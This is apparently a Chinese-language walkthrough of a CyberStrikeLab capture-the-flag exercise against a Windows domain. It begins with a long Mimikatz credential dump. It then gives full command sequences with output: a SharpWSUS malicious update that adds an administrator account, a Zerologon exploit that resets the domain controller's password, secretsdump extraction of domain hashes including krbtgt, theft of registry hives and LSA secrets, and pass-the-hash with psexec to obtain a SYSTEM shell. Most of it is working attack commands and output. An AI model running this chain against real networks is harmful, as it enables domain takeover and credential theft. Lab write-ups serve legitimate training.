* Password : 7f 57 05 45 35 d7 47 19 fe 55 ac 64 a6 84 19 a3 20 a9 64 05 bc 43 59 9c 66 25 f3 b2 ee 96 19 b8 04 16 8d 05 8a 13 67 fc 2e ec b5 f9 f8 18 cf 70 9e 2b 65 87 6f bb 06 33 ce 34 26 e5 f1 d2 60 66 72 79 b2 c4 8e ba 4a c7 d9 2a 9e f4 58 c1 31 66 44 00 7b d3 0d 8a 63 d4 6e 30 df 0c 02 4f 1d 3d 5d 93 ba 94 76 3d e3 91 66 3b 40 61 d8 0f dc 77 61 5c c6 76 cd 17 78 ba 28 8b da 3b 79 01 78 42 39 ac 24 2c 43 42 8b f0 76 11 23 f7 88 81 cf 74 27 86 30 e2 60 21 72 e9 aa 9c af b9 08 2f ac 58 98 bc c9 fc 61 18 c4 a2 09 37 34 44 b1 a7 4e 6b 35 f5 de ce 72 c6 9f 16 c0 7f 46 1c f1 d7 fe ff 72 0f 57 0f c6 75 44 c6 36 3d 8f a4 87 b7 0c 03 eb b5 2a 5b 7b 92 c5 71 5f e3 ea eb fb 3c ee be 69 73 ec 56 3a 50 dd 00 6f 85 9e 9e 1b 71 37 f3
ssp :
credman :
Authentication Id : 0 ; 51771 (00000000:0000ca3b)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 2025/7/2 11:10:29
SID : S-1-5-90-0-1
msv :
[00000003] Primary
* Username : WEB2$
* Domain : CYBERSTRIKELAB
* NTLM : 78d04b6ba9efc3c47f3f6ff3af8b3f85
* SHA1 : 1ee867e3e8297d38306016d187320da07b689b72
tspkg :
wdigest :
* Username : WEB2$
* Domain : CYBERSTRIKELAB
* Password : (null)
kerberos :
* Username : WEB2$
* Domain : cyberstrikelab.com
* Password : mi9<52E0H).`2mWa]@oHe\^>&pQB>_R\2G!UPbtT;8"DZv@GP`[A%FZu@hu1^*]qzw&Tfl[id]#lb2a#'AJ[q_em6<(J[:D$P'!h&da%>7x2eLD8#=]N#0uL
ssp :
credman :
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : WEB2$
Domain : CYBERSTRIKELAB
Logon Server : (null)
Logon Time : 2025/7/2 11:10:25
SID : S-1-5-20
msv :
[00000003] Primary
* Username : WEB2$
* Domain : CYBERSTRIKELAB
* NTLM : 837ba10f66293f3aea1e998aa3af81aa
* SHA1 : 4b9e0217832ba31f98d47f4bf81a36c64a677561
tspkg :
wdigest :
* Username : WEB2$
* Domain : CYBERSTRIKELAB
* Password : (null)
kerberos :
* Username : web2$
* Domain : CYBERSTRIKELAB.COM
* Password : 7f 57 05 45 35 d7 47 19 fe 55 ac 64 a6 84 19 a3 20 a9 64 05 bc 43 59 9c 66 25 f3 b2 ee 96 19 b8 04 16 8d 05 8a 13 67 fc 2e ec b5 f9 f8 18 cf 70 9e 2b 65 87 6f bb 06 33 ce 34 26 e5 f1 d2 60 66 72 79 b2 c4 8e ba 4a c7 d9 2a 9e f4 58 c1 31 66 44 00 7b d3 0d 8a 63 d4 6e 30 df 0c 02 4f 1d 3d 5d 93 ba 94 76 3d e3 91 66 3b 40 61 d8 0f dc 77 61 5c c6 76 cd 17 78 ba 28 8b da 3b 79 01 78 42 39 ac 24 2c 43 42 8b f0 76 11 23 f7 88 81 cf 74 27 86 30 e2 60 21 72 e9 aa 9c af b9 08 2f ac 58 98 bc c9 fc 61 18 c4 a2 09 37 34 44 b1 a7 4e 6b 35 f5 de ce 72 c6 9f 16 c0 7f 46 1c f1 d7 fe ff 72 0f 57 0f c6 75 44 c6 36 3d 8f a4 87 b7 0c 03 eb b5 2a 5b 7b 92 c5 71 5f e3 ea eb fb 3c ee be 69 73 ec 56 3a 50 dd 00 6f 85 9e 9e 1b 71 37 f3
ssp :
credman :
Authentication Id : 0 ; 23709 (00000000:00005c9d)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 2025/7/2 11:10:22
SID :
msv :
[00000003] Primary
* Username : WEB2$
* Domain : CYBERSTRIKELAB
* NTLM : 837ba10f66293f3aea1e998aa3af81aa
* SHA1 : 4b9e0217832ba31f98d47f4bf81a36c64a677561
tspkg :
wdigest :
kerberos :
ssp :
credman :
Authentication Id : 0 ; 1986553 (00000000:001e4ff9)
Session : Interactive from 3
User Name : DWM-3
Domain : Window Manager
Logon Server : (null)
Logon Time : 2025/7/2 17:15:45
SID : S-1-5-90-0-3
msv :
[00000003] Primary
* Username : WEB2$
* Domain : CYBERSTRIKELAB
* NTLM : 837ba10f66293f3aea1e998aa3af81aa
* SHA1 : 4b9e0217832ba31f98d47f4bf81a36c64a677561
tspkg :
wdigest :
* Username : WEB2$
* Domain : CYBERSTRIKELAB
* Password : (null)
kerberos :
* Username : WEB2$
* Domain : cyberstrikelab.com
* Password : 7f 57 05 45 35 d7 47 19 fe 55 ac 64 a6 84 19 a3 20 a9 64 05 bc 43 59 9c 66 25 f3 b2 ee 96 19 b8 04 16 8d 05 8a 13 67 fc 2e ec b5 f9 f8 18 cf 70 9e 2b 65 87 6f bb 06 33 ce 34 26 e5 f1 d2 60 66 72 79 b2 c4 8e ba 4a c7 d9 2a 9e f4 58 c1 31 66 44 00 7b d3 0d 8a 63 d4 6e 30 df 0c 02 4f 1d 3d 5d 93 ba 94 76 3d e3 91 66 3b 40 61 d8 0f dc 77 61 5c c6 76 cd 17 78 ba 28 8b da 3b 79 01 78 42 39 ac 24 2c 43 42 8b f0 76 11 23 f7 88 81 cf 74 27 86 30 e2 60 21 72 e9 aa 9c af b9 08 2f ac 58 98 bc c9 fc 61 18 c4 a2 09 37 34 44 b1 a7 4e 6b 35 f5 de ce 72 c6 9f 16 c0 7f 46 1c f1 d7 fe ff 72 0f 57 0f c6 75 44 c6 36 3d 8f a4 87 b7 0c 03 eb b5 2a 5b 7b 92 c5 71 5f e3 ea eb fb 3c ee be 69 73 ec 56 3a 50 dd 00 6f 85 9e 9e 1b 71 37 f3
ssp :
credman :
Authentication Id : 0 ; 881660 (00000000:000d73fc)
Session : Service from 0
User Name : DefaultAppPool
Domain : IIS APPPOOL
Logon Server : (null)
Logon Time : 2025/7/2 12:52:18
SID : S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415
msv :
[00000003] Primary
* Username : WEB2$
* Domain : CYBERSTRIKELAB
* NTLM : 837ba10f66293f3aea1e998aa3af81aa
* SHA1 : 4b9e0217832ba31f98d47f4bf81a36c64a677561
tspkg :
wdigest :
* Username : WEB2$
* Domain : CYBERSTRIKELAB
* Password : (null)
kerberos :
* Username : WEB2$
* Domain : cyberstrikelab.com
* Password : 7f 57 05 45 35 d7 47 19 fe 55 ac 64 a6 84 19 a3 20 a9 64 05 bc 43 59 9c 66 25 f3 b2 ee 96 19 b8 04 16 8d 05 8a 13 67 fc 2e ec b5 f9 f8 18 cf 70 9e 2b 65 87 6f bb 06 33 ce 34 26 e5 f1 d2 60 66 72 79 b2 c4 8e ba 4a c7 d9 2a 9e f4 58 c1 31 66 44 00 7b d3 0d 8a 63 d4 6e 30 df 0c 02 4f 1d 3d 5d 93 ba 94 76 3d e3 91 66 3b 40 61 d8 0f dc 77 61 5c c6 76 cd 17 78 ba 28 8b da 3b 79 01 78 42 39 ac 24 2c 43 42 8b f0 76 11 23 f7 88 81 cf 74 27 86 30 e2 60 21 72 e9 aa 9c af b9 08 2f ac 58 98 bc c9 fc 61 18 c4 a2 09 37 34 44 b1 a7 4e 6b 35 f5 de ce 72 c6 9f 16 c0 7f 46 1c f1 d7 fe ff 72 0f 57 0f c6 75 44 c6 36 3d 8f a4 87 b7 0c 03 eb b5 2a 5b 7b 92 c5 71 5f e3 ea eb fb 3c ee be 69 73 ec 56 3a 50 dd 00 6f 85 9e 9e 1b 71 37 f3
ssp :
credman :
Authentication Id : 0 ; 144126 (00000000:000232fe)
Session : Interactive from 1
User Name : Administrator
Domain : WEB2
Logon Server : WEB2
Logon Time : 2025/7/2 11:12:37
SID : S-1-5-21-1743072379-352300776-3190945722-500
msv :
[00000003] Primary
* Username : Administrator
* Domain : WEB2
* NTLM : f03475186fd1b23123bca6337f0b39f1
* SHA1 : 892f453e1dc7c786503cdfffa7f0b7bd24e77482
tspkg :
wdigest :
* Username : Administrator
* Domain : WEB2
* Password : (null)
kerberos :
* Username : Administrator
* Domain : WEB2
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 995 (00000000:000003e3)
Session : Service from 0
User Name : IUSR
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2025/7/2 11:10:47
SID : S-1-5-17
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
ssp :
credman :
Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 2025/7/2 11:10:29
SID : S-1-5-19
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
* Username : (null)
* Domain : (null)
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 51750 (00000000:0000ca26)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 2025/7/2 11:10:29
SID : S-1-5-90-0-1
msv :
[00000003] Primary
* Username : WEB2$
* Domain : CYBERSTRIKELAB
* NTLM : 837ba10f66293f3aea1e998aa3af81aa
* SHA1 : 4b9e0217832ba31f98d47f4bf81a36c64a677561
tspkg :
wdigest :
* Username : WEB2$
* Domain : CYBERSTRIKELAB
* Password : (null)
kerberos :
* Username : WEB2$
* Domain : cyberstrikelab.com
* Password : 7f 57 05 45 35 d7 47 19 fe 55 ac 64 a6 84 19 a3 20 a9 64 05 bc 43 59 9c 66 25 f3 b2 ee 96 19 b8 04 16 8d 05 8a 13 67 fc 2e ec b5 f9 f8 18 cf 70 9e 2b 65 87 6f bb 06 33 ce 34 26 e5 f1 d2 60 66 72 79 b2 c4 8e ba 4a c7 d9 2a 9e f4 58 c1 31 66 44 00 7b d3 0d 8a 63 d4 6e 30 df 0c 02 4f 1d 3d 5d 93 ba 94 76 3d e3 91 66 3b 40 61 d8 0f dc 77 61 5c c6 76 cd 17 78 ba 28 8b da 3b 79 01 78 42 39 ac 24 2c 43 42 8b f0 76 11 23 f7 88 81 cf 74 27 86 30 e2 60 21 72 e9 aa 9c af b9 08 2f ac 58 98 bc c9 fc 61 18 c4 a2 09 37 34 44 b1 a7 4e 6b 35 f5 de ce 72 c6 9f 16 c0 7f 46 1c f1 d7 fe ff 72 0f 57 0f c6 75 44 c6 36 3d 8f a4 87 b7 0c 03 eb b5 2a 5b 7b 92 c5 71 5f e3 ea eb fb 3c ee be 69 73 ec 56 3a 50 dd 00 6f 85 9e 9e 1b 71 37 f3
ssp :
credman :
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : WEB2$
Domain : CYBERSTRIKELAB
Logon Server : (null)
Logon Time : 2025/7/2 11:10:21
SID : S-1-5-18
msv :
tspkg :
wdigest :
* Username : WEB2$
* Domain : CYBERSTRIKELAB
* Password : (null)
kerberos :
* Username : web2$
* Domain : CYBERSTRIKELAB.COM
* Password : 7f 57 05 45 35 d7 47 19 fe 55 ac 64 a6 84 19 a3 20 a9 64 05 bc 43 59 9c 66 25 f3 b2 ee 96 19 b8 04 16 8d 05 8a 13 67 fc 2e ec b5 f9 f8 18 cf 70 9e 2b 65 87 6f bb 06 33 ce 34 26 e5 f1 d2 60 66 72 79 b2 c4 8e ba 4a c7 d9 2a 9e f4 58 c1 31 66 44 00 7b d3 0d 8a 63 d4 6e 30 df 0c 02 4f 1d 3d 5d 93 ba 94 76 3d e3 91 66 3b 40 61 d8 0f dc 77 61 5c c6 76 cd 17 78 ba 28 8b da 3b 79 01 78 42 39 ac 24 2c 43 42 8b f0 76 11 23 f7 88 81 cf 74 27 86 30 e2 60 21 72 e9 aa 9c af b9 08 2f ac 58 98 bc c9 fc 61 18 c4 a2 09 37 34 44 b1 a7 4e 6b 35 f5 de ce 72 c6 9f 16 c0 7f 46 1c f1 d7 fe ff 72 0f 57 0f c6 75 44 c6 36 3d 8f a4 87 b7 0c 03 eb b5 2a 5b 7b 92 c5 71 5f e3 ea eb fb 3c ee be 69 73 ec 56 3a 50 dd 00 6f 85 9e 9e 1b 71 37 f3
ssp :
credman :
没有什么额外的凭证
预期解
wsus
Referer:https://forum.butian.net/share/1841
https://3gstudent.github.io/渗透技巧-通过WSUS进行横向移动
环境看上去有问题重新开一个环境
*Evil-WinRM* PS C:\Users\Administrator\downloads> .\SharpWSUS.exe locate
____ _ __ ______ _ _ ____
/ ___|| |__ __ _ _ __ _ _\ \ / / ___|| | | / ___|
\___ \| '_ \ / _` | '__| '_ \ \ /\ / /\___ \| | | \___ \
___) | | | | (_| | | | |_) \ V V / ___) | |_| |___) |
|____/|_| |_|\__,_|_| | .__/ \_/\_/ |____/ \___/|____/
|_|
Phil Keeble @ Nettitude Red Team
[*] Action: Locate WSUS Server
WSUS Server: http://10.8.8.60:8530
[*] Locate complete*Evil-WinRM* PS C:\Users\Administrator\downloads> .\SharpWSUS.exe inspect
____ _ __ ______ _ _ ____
/ ___|| |__ __ _ _ __ _ _\ \ / / ___|| | | / ___|
\___ \| '_ \ / _` | '__| '_ \ \ /\ / /\___ \| | | \___ \
___) | | | | (_| | | | |_) \ V V / ___) | |_| |___) |
|____/|_| |_|\__,_|_| | .__/ \_/\_/ |____/ \___/|____/
|_|
Phil Keeble @ Nettitude Red Team
[*] Action: Inspect WSUS Server
################# WSUS Server Enumeration via SQL ##################
ServerName, WSUSPortNumber, WSUSContentLocation
-----------------------------------------------
WEB2, 8530, c:\WSUS\WsusContent
####################### Computer Enumeration #######################
ComputerName, IPAddress, OSVersion, LastCheckInTime
---------------------------------------------------
cyberweb.cyberstrikelab.com, 10.8.8.12, 10.0.14393.2273, 2025/5/24 11:18:05
dc.cyberstrikelab.com, 10.8.8.55, 10.0.14393.2273,
web2.cyberstrikelab.com, 10.8.8.60, 10.0.14393.1794, 2025/6/16 7:39:24
####################### Downstream Server Enumeration #######################
ComputerName, OSVersion, LastCheckInTime
---------------------------------------------------
####################### Group Enumeration #######################
GroupName
---------------------------------------------------
All Computers
Downstream Servers
Unassigned Computers
wsus
[*] Inspect complete
这次正常了
*Evil-WinRM* PS C:\Users\Administrator\downloads> .\SharpWSUS.exe inspect
____ _ __ ______ _ _ ____
/ ___|| |__ __ _ _ __ _ _\ \ / / ___|| | | / ___|
\___ \| '_ \ / _` | '__| '_ \ \ /\ / /\___ \| | | \___ \
___) | | | | (_| | | | |_) \ V V / ___) | |_| |___) |
|____/|_| |_|\__,_|_| | .__/ \_/\_/ |____/ \___/|____/
|_|
Phil Keeble @ Nettitude Red Team
[*] Action: Inspect WSUS Server
################# WSUS Server Enumeration via SQL ##################
ServerName, WSUSPortNumber, WSUSContentLocation
-----------------------------------------------
WEB2, 8530, c:\WSUS\WsusContent
####################### Computer Enumeration #######################
ComputerName, IPAddress, OSVersion, LastCheckInTime
---------------------------------------------------
cyberweb.cyberstrikelab.com, 10.8.8.12, 10.0.14393.2273, 2025/5/24 11:18:05
dc.cyberstrikelab.com, 10.8.8.55, 10.0.14393.2273,
web2.cyberstrikelab.com, 10.8.8.60, 10.0.14393.1794, 2025/7/3 4:18:28
####################### Downstream Server Enumeration #######################
ComputerName, OSVersion, LastCheckInTime
---------------------------------------------------
####################### Group Enumeration #######################
GroupName
---------------------------------------------------
All Computers
Downstream Servers
Unassigned Computers
wsus
[*] Inspect complete
*Evil-WinRM* PS C:\Users\Administrator\downloads> .\SharpWSUS.exe create /payload:"C:\\Users\\Administrator\\downloads\\PsExec64.exe" /args:"-accepteula -s -d cmd.exe /c 'net user someb0dy Qq123456.. /add && net localgroup administrators someb0dy /add'" /title:"demo01"
____ _ __ ______ _ _ ____
/ ___|| |__ __ _ _ __ _ _\ \ / / ___|| | | / ___|
\___ \| '_ \ / _` | '__| '_ \ \ /\ / /\___ \| | | \___ \
___) | | | | (_| | | | |_) \ V V / ___) | |_| |___) |
|____/|_| |_|\__,_|_| | .__/ \_/\_/ |____/ \___/|____/
|_|
Phil Keeble @ Nettitude Red Team
[*] Action: Create Update
[*] Creating patch to use the following:
[*] Payload: PsExec64.exe
[*] Payload Path: C:\\Users\\Administrator\\downloads\\PsExec64.exe
[*] Arguments: -accepteula -s -d cmd.exe /c 'net user someb0dy Qq123456.. /add && net localgroup administrators someb0dy /add'
[*] Arguments (HTML Encoded): -accepteula -s -d cmd.exe /c &#39;net user someb0dy Qq123456.. /add &amp;&amp; net localgroup administrators someb0dy /add&#39;
################# WSUS Server Enumeration via SQL ##################
ServerName, WSUSPortNumber, WSUSContentLocation
-----------------------------------------------
WEB2, 8530, c:\WSUS\WsusContent
ImportUpdate
Update Revision ID: 332887
PrepareXMLtoClient
InjectURL2Download
DeploymentRevision
PrepareBundle
PrepareBundle Revision ID: 332888
PrepareXMLBundletoClient
DeploymentRevision
[*] Update created - When ready to deploy use the following command:
[*] SharpWSUS.exe approve /updateid:f1a7d1b9-3317-4e79-8257-396463c12b99 /computername:Target.FQDN /groupname:"Group Name"
[*] To check on the update status use the following command:
[*] SharpWSUS.exe check /updateid:f1a7d1b9-3317-4e79-8257-396463c12b99 /computername:Target.FQDN
[*] To delete the update use the following command:
[*] SharpWSUS.exe delete /updateid:f1a7d1b9-3317-4e79-8257-396463c12b99 /computername:Target.FQDN /groupname:"Group Name"
[*] Create complete
*Evil-WinRM* PS C:\Users\Administrator\downloads> .\SharpWSUS.exe approve /updateid:f1a7d1b9-3317-4e79-8257-396463c12b99 /computername:dc.cyberstrikelab.com /groupname:"wsus"
____ _ __ ______ _ _ ____
/ ___|| |__ __ _ _ __ _ _\ \ / / ___|| | | / ___|
\___ \| '_ \ / _` | '__| '_ \ \ /\ / /\___ \| | | \___ \
___) | | | | (_| | | | |_) \ V V / ___) | |_| |___) |
|____/|_| |_|\__,_|_| | .__/ \_/\_/ |____/ \___/|____/
|_|
Phil Keeble @ Nettitude Red Team
[*] Action: Approve Update
Targeting dc.cyberstrikelab.com
TargetComputer, ComputerID, TargetID
------------------------------------
dc.cyberstrikelab.com, 824bcb21-c250-4bfc-86f9-c25c3d199d8b, 2
Group Exists = True
Added Computer To Group
Approved Update
[*] Approve complete
管理界面也能看到这个记录
你查询的注册表路径
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU
是 Windows 组策略中用于控制“自动更新”行为的核心配置节点。下面逐条解释你给出的键值含义（按你列出的顺序）：
NoAutoUpdate = 0x0
• 0 = 启用自动更新（默认）
• 1 = 完全禁用自动更新
当前配置：启用自动更新。
AUOptions = 0x3
0x1 = 自动下载并通知安装
0x2 = 自动下载并在计划时间自动安装
0x3 = 自动下载并在计划时间自动安装，且自动重启（如果用户未登录）
0x4 = 自动下载并在计划时间自动安装，且自动重启（无论用户是否登录）
当前配置：自动下载并在计划时间自动安装，且未登录时自动重启。
ScheduledInstallDay = 0x0
0 = 每天
1–7 = 周一到周日
当前配置：每天检查并安装更新。
ScheduledInstallTime = 0xa
十进制 10，即每天 10:00（24 小时制）
当前配置：每天 10:00 自动安装更新。
DetectionFrequencyEnabled = 0x1
0 = 禁用自定义检测频率（使用默认 22 小时）
1 = 启用自定义检测频率
当前配置：启用自定义检测频率。
DetectionFrequency = 0x1
十进制 1，即每 1 小时检测一次更新
当前配置：每小时检测一次更新（与 DetectionFrequencyEnabled=1 配合生效）。
UseWUServer = 0x1
0 = 使用 Windows Update 官方服务器
1 = 使用本地 WSUS 或组策略指定的更新服务器
当前配置：使用本地 WSUS 或组策略指定的更新服务器。
NoAutoRebootWithLoggedOnUsers = 0x1
0 = 即使有用户登录，也强制自动重启
1 = 如果有用户登录，不自动重启，等待用户手动重启
当前配置：有用户登录时不自动重启。
AutoInstallMinorUpdates = 0x1
0 = 不自动安装次要更新（仅提示）
1 = 自动安装次要更新
当前配置：自动安装次要更新。
总结
• 自动更新已启用，每小时检测一次更新，每天 10:00 自动安装。
• 使用本地 WSUS/组策略服务器，而非微软官方更新服务器。
• 有用户登录时不会强制重启，但用户未登录时可能自动重启。
• 次要更新（如驱动、安全补丁）也会被自动安装。
这些设置通常由企业 IT 部门通过组策略统一推送，以确保补丁及时、可控地部署，同时避免在办公时间强制重启干扰用户。需要等待到10点，等不了了，打zerologon ,时长快没了
按道理到达安全补丁的时间，就会把我们的补丁装到DC上，然后就创建了一个新的本地管理员用户
非预期
zerologon
❯ python3 zerologon_tester.py dc 10.8.8.55
Performing authentication attempts...
============================================================================
Success! DC can be fully compromised by a Zerologon attack.❯ python3 cve-2020-1472-exploit.py dc 10.8.8.55
Performing authentication attempts...
=====================================
Target vulnerable, changing account password to empty string
Result: 0
Exploit complete!现在已经滞空了 dc$的hash
❯ secretsdump.py cyberstrikelab.com/dc\$@10.8.8.55 -just-dc-ntlm -dc-ip 10.8.8.55 -no-pass
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:cd695c36640e93af283e7ad34133c885:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:416f4ea64c9c73ad29a4a69dcee5d8ca:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
cyberstrikelab.com\cslabwow:1105:aad3b435b51404eeaad3b435b51404ee:adae448c0f5694a408f161b7d1cddd41:::
cyberstrikelab.com\web2:1111:aad3b435b51404eeaad3b435b51404ee:2dd2777cedbe67b608b30bc327ee467c:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
CYBERWEB$:1103:aad3b435b51404eeaad3b435b51404ee:ab3e1c03584d035298e40fc5fa2d5e31:::
WEB2$:1104:aad3b435b51404eeaad3b435b51404ee:e7032c851f2ca9abae2ba2811a9e7737:::
[*] Cleaning up...backup reg
❯ reg.py cyberstrikelab.com/administrator@10.8.8.55 -hashes :cd695c36640e93af283e7ad34133c885 backup -o c:/windows
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Saved HKLM\SAM to c:/windows\SAM.save
[*] Saved HKLM\SYSTEM to c:/windows\SYSTEM.save
[*] Saved HKLM\SECURITY to c:/windows\SECURITY.save
[*] Stopping service RemoteRegistry
[-] SCMR SessionError: code: 0x41b - ERROR_DEPENDENT_SERVICES_RUNNING - A stop control has been sent to a service that other running services are dependent on.download reg backup
❯ smbclient.py cyberstrikelab.com/administrator@10.8.8.55 -hashes :cd695c36640e93af283e7ad34133c885
/opt/homebrew/bin/smbclient.py:4: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
__import__('pkg_resources').run_script('impacket==0.11.0', 'smbclient.py')
Impacket v0.11.0 - Copyright 2023 Fortra
Type help for list of commands
# shares
ADMIN$
C$
IPC$
NETLOGON
SYSVOL
# use admin$
# pwd
/
# mget *.save
[*] Downloading SAM.save
[*] Downloading SECURITY.save
[*] Downloading SYSTEM.save
#
下载save
get_original_passwd
❯ secretsdump.py -sam SAM.save -security SECURITY.save -system SYSTEM.save local
/opt/homebrew/bin/secretsdump.py:4: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
__import__('pkg_resources').run_script('impacket==0.11.0', 'secretsdump.py')
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Target system bootKey: 0x4f7a9d254be269194992688326aa7bdb
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a167976f7bd8d93ee232fa7a87a4079e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:41a8f0a11bc5a56321bfcda140d2afe2d19f9ae68f10fe00ff6e1c31a6e039ffa5cb0ee5448c44f9b89e614beac47a99d4528c94849cada16fa99bf09a666c795eea825697277b20382d3b12ebc272c27387a530654b01d83760cd104e0a2416cf7bf872a6da153a438e7c18a30cfec650f44a5a883530e540c3732ed24f2fb1085966084795e445d495cb7ba5b9cf9d19c3e580902a620e8e498c75119a594010d0c5beeee5a0b8498bae7b295f3915477dbf58b6d076f5965b2b9185f6481dc7fd9a56c5ed58b90ee3367367a7865823394e214015f45012e71215e0bb26040fd4b2fe5de530b187990c61d797356d
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:50176188318d8b122f6d60e0170f906c
[*] DPAPI_SYSTEM
dpapi_machinekey:0xf81a270d6685fa4cb1a64180521c4230a2a936b3
dpapi_userkey:0x857acb6604648d060d421451ded2e33038aaaa42
[*] NL$KM
0000 09 F0 A7 1F D6 43 B3 1E 4C 44 ED 15 37 9A 72 C0 .....C..LD..7.r.
0010 4B 70 2A 28 3D 5C 98 88 AA 8B AA 2B 70 97 DF 71 Kp*(=\.....+p..q
0020 FD 74 7D A8 92 B4 D8 13 55 41 2A 87 1A DE 45 CC .t}.....UA*...E.
0030 1D F2 36 A0 9B 90 1E 84 30 B8 51 CF FF 81 08 FC ..6.....0.Q.....
NL$KM:09f0a71fd643b31e4c44ed15379a72c04b702a283d5c9888aa8baa2b7097df71fd747da892b4d81355412a871ade45cc1df236a09b901e8430b851cfff8108fc
[*] Cleaning up...拿到原来机器的ntlmhash 为50176188318d8b122f6d60e0170f906c
restore_password
恢复密码
❯ python3 reinstall_original_pw.py dc 10.8.8.55 50176188318d8b122f6d60e0170f906c
Performing authentication attempts...
=======================================================================================================================================================================================================================================================================================================================================================================
NetrServerAuthenticate3Response
ServerCredential:
Data: b'\xf8&\x9c7]yG\x9e'
NegotiateFlags: 556793855
AccountRid: 1000
ErrorCode: 0
server challenge b'\xf8\x9a&&J9\xda\xfb'
session key b'=|;g\x82\xa9>\xd4\xa2\x91lhO\xd5\xcdu'
NetrServerPasswordSetResponse
ReturnAuthenticator:
Credential:
Data: b'\x01\n\x9au+\x04"V'
Timestamp: 0
ErrorCode: 0
Success! DC machine account should be restored to it's original value. You might want to secretsdump again to check.check once_again
❯ secretsdump.py cyberstrikelab.com/administrator@10.8.8.55 -just-dc-ntlm -dc-ip 10.8.8.55 -hashes :cd695c36640e93af283e7ad34133c885
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:cd695c36640e93af283e7ad34133c885:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:416f4ea64c9c73ad29a4a69dcee5d8ca:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
cyberstrikelab.com\cslabwow:1105:aad3b435b51404eeaad3b435b51404ee:adae448c0f5694a408f161b7d1cddd41:::
cyberstrikelab.com\web2:1111:aad3b435b51404eeaad3b435b51404ee:2dd2777cedbe67b608b30bc327ee467c:::
DC$:1000:aad3b435b51404eeaad3b435b51404ee:50176188318d8b122f6d60e0170f906c:::
CYBERWEB$:1103:aad3b435b51404eeaad3b435b51404ee:ab3e1c03584d035298e40fc5fa2d5e31:::
WEB2$:1104:aad3b435b51404eeaad3b435b51404ee:e7032c851f2ca9abae2ba2811a9e7737:::
[*] Cleaning up...再一次检查DC$ 的ntlm hash ，从31d6cfe0d16ae931b73c59d7e0c089c0(空密码) 变回原本的50176188318d8b122f6d60e0170f906c
flag4
❯ psexec.py cyberstrikelab.com/administrator@10.8.8.55 -hashes :cd695c36640e93af283e7ad34133c885
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Requesting shares on 10.8.8.55.....
[*] Found writable share ADMIN$
[*] Uploading file IBKCpHQq.exe
[*] Opening SVCManager on 10.8.8.55.....
[*] Creating service oire on 10.8.8.55.....
[*] Starting service oire.....
[!] Press help for extra shell commands
[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute smbexec.py again with -codec and the corresponding codec
Microsoft Windows [�汾 10.0.14393]
[-] Decoding error detected, consider running chcp.com at the target,
map the result with https://docs.python.org/3/library/codecs.html#standard-encodings
and then execute smbexec.py again with -codec and the corresponding codec
(c) 2016 Microsoft Corporation����������Ȩ����
C:\Windows\system32> type c:\flag.txt
_____ _______ _
/ ____| |__ __(_)
| | __ _ __ ___ ___ _ __ | | _ __ _ ___ _ __
| | |_ | '__/ _ \/ _ \ '_ \| | | |/ _` |/ _ \ '__|
| |__| | | | __/ __/ | | | | | | (_| | __/ |
\_____|_| \___|\___|_| |_|_| |_|\__, |\___|_|
__/ |
|___/
GreenTiger-cslab{187c295e}成功拿到flag4
END